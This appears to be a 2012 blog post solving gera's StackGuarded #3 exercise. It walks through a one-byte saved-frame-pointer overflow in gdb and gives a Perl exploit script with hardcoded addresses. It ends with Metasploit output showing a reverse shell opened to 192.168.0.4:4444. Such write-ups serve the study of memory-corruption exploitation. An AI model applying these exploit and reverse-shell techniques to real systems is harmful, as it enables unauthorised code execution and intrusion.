Thursday, July 12, 2012

StackGuarded #3

Here is my solution to gera's StackGuarded #3. Same caveats as before.

/* sg3.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

char *read_it(char *msg) {
    char buf[128];
    int count;

    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}

int main(int argv, char **argc) {
    char *msg = malloc(1000);

    snprintf(msg,1000,"User: %s",read_it(msg));
}


* I had to compile this with -mpreferred-stack-boundary=2 so that gcc wouldn't pad buf.

The read allows for a 1 byte overflow of buf into the saved framed pointer, which will be main's ebp when read_it returns. The least significant byte will be overwritten with a "\x00".

[dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x8048554 <main+24&gt:    pushl  0xfffffffc(%ebp)
0x8048557 <main+27>:    call   0x8048500 <read_it>
0x804855c <main+32>:    add    $0x4,%esp
...;
End of assembler dump.
(gdb) b *0x8048554
Breakpoint 1 at 0x8048554: file sg3.c, line 15.
(gdb) b *0x804855c
Breakpoint 2 at 0x804855c: file sg3.c, line 15.
(gdb) run < 128
Starting program: /home/dennis/sg3/sg3 < 128

Breakpoint 1, main (argv=1, argc=0xbffffaf4) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa88:     0xbffffac8
(gdb) c
Continuing.

Breakpoint 2, 0x0804855c in main (argv=1094795585, argc=0x41414141) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa00:     0x41414141


Since variables are referenced relative to ebp, this overwrite let's me control some things. As can be seen above, main's ebp now points somewhere in my string of As.

I need to make sure that msg still points to something writable so that the snprintf will succeed. I'm using DTORs just because I had it handy during a trial-and-debug session (plus it can be nm'd from the binary), but it can be anywhere writable.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
...
End of assembler dump.
(gdb) b *0x804856f
Breakpoint 1 at 0x804856f: file sg3.c, line 15.
(gdb) b *0x8048574
Breakpoint 2 at 0x8048574: file sg3.c, line 15.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x0804856f in main (argv=1128481603, argc=0x43434343) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $esp
0xbffffa74:     0x08049614  <-- "msg", which i control somewhat
(gdb)
0xbffffa78:     0x000003e8  <-- 1000
(gdb)
0xbffffa7c:     0x080485e8  <-- "User: %s" format string
(gdb)
0xbffffa80:     0x08049b20  < -- return value from read_it()
(gdb) x/x 0x08049614
0x8049614 <__DTOR_END__>:       0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x08048574 in main (argv=1073832704, argc=0x40016998) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/s 0x08049614
0x8049614 <__DTOR_END__>:        "User: DDDD\024\226\004\bAAAANüÿ¿", 'C'


The first part shows the parameters on the stack before snprintf is called. msg is somewhat controlled by me due to the ebp overwrite. By "somewhat" I mean I can add/remove environment variables for example to adjust the stack so that the overwritten ebp will point somewhere I control.

Notice how the snprintf succeeds by writing "User: DDDD" to DTORs.

Here is what main's leave and ret look like with the overwritten ebp.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
0x8048577
:    leave
0x8048578
:    ret
End of assembler dump.
(gdb) b *0x8048578
Breakpoint 1 at 0x8048578: file sg3.c, line 16.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x08048578 in main (argv=Cannot access memory at address 0x41414149
) at sg3.c:16
16      }
(gdb) x/x $ebp
0x41414141:     Cannot access memory at address 0x41414141
(gdb) x/x $esp
0xbffffa04:     0xbffffc4e


Some As from our exploit string are popped into ebp and esp is adjusted to point to our shellcode address (pointing to the process's environment). On ret, this address will be popped into eip and execution will start.

Here it is put together

[dennis@localhost sg3]$ export SG3=`perl sc.pl`
[dennis@localhost sg3]$ ./ev3
SG3 is at 0xbffffc4e
[dennis@localhost sg3]$ perl exp.pl > of

dennis@ipa:~/sg3$ cat exp.pl                                                  
#!/usr/bin/perl

use warnings;
use strict;

my $write_value = "D" x 4;

# need a valid address to write to, i'm using dtors because i had it handy from an earlier trial-and-debug session. bonus you can nm it from the binary
my $write_addr = "\x14\x96\x04\x08";

# main's leave instruction will put this value in ebp
my $leave_ebp = "A" x 4;

# main's ret instruction will put this value in eip
my $ret_addr = "\x4e\xfc\xff\xbf";

my $filler = "C" x 112;

print $write_value.$write_addr.$leave_ebp.$ret_addr.$filler;


...

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:52266) at 2012-07-12 17:54:54 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg3

No comments:

Post a Comment